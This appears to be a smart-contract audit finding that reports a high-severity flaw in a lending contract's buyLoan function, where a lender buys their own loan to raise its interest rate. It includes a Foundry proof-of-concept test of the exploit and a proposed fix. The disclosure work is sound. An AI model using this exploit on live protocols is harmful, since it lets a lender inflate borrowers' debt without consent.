20,000 USDC
View results
Submission Details
Severity: high

Lender.sol#buyLoan() - A lender can update his loans interestRate by buying his own loans

Summary

A lender can update his loans interestRate by buying his own loans.

Vulnerability Details

Currently there is no check inside buyLoan which checks if the buyer of the loan isn't the same as lender the loan. Because of this, the loan lender can change interestRate on old loans. The lender will only lose a few tokens as he has to pay protocolInterest.

The malicious lender can also call updateInterestRate before buying his loan as setPool also changes the interestRate.
The example is an extreme one, where the lender can set the interestRate to a massive value.
POC:

function testBuyLoanToYourOwnPoolCanChangeInterestRate() public {
// Lender1 (malicious) creates a loan with a lucrative interestRate
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 10,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
// Borrower takes out a loan
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100*10**18,
collateral: 100*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
vm.stopPrank();
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
// Lender1 updates his interestRate
vm.startPrank(lender1);
lender.updateInterestRate(poolId, 100000);
// Lender1 starts an auction on Borrower's loan
lender.startAuction(loanIds);
vm.warp(block.timestamp + 1 days);
// After some time, Lender1 buys his own loan, changing the interestRate on the loan in the process
lender.buyLoan(0, poolId);
vm.stopPrank();
// The interestRate is now higher than before and the lender of the loan is the same
(address loanLender,,,,,,uint256 interestRate,,,) = lender.loans(0);
assertEq(interestRate, 100000);
assertEq(loanLender, lender1);
}

Impact

A malicious lender can change the interestRate of loans that were already taken out on his pool, effectively increasing his profits.

Tools Used

Manual review
Foundry

Recommendations

Don't allow the lender of the loan to buy his own loan.

function buyLoan(uint256 loanId, bytes32 poolId) public {
// get the loan info
Loan memory loan = loans[loanId];
// Add a check that doesn't allow the loan lender to buy his own loan.
if (loan.lender == msg.sender) {
revert CantBuyOwnLoan();
}
...

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.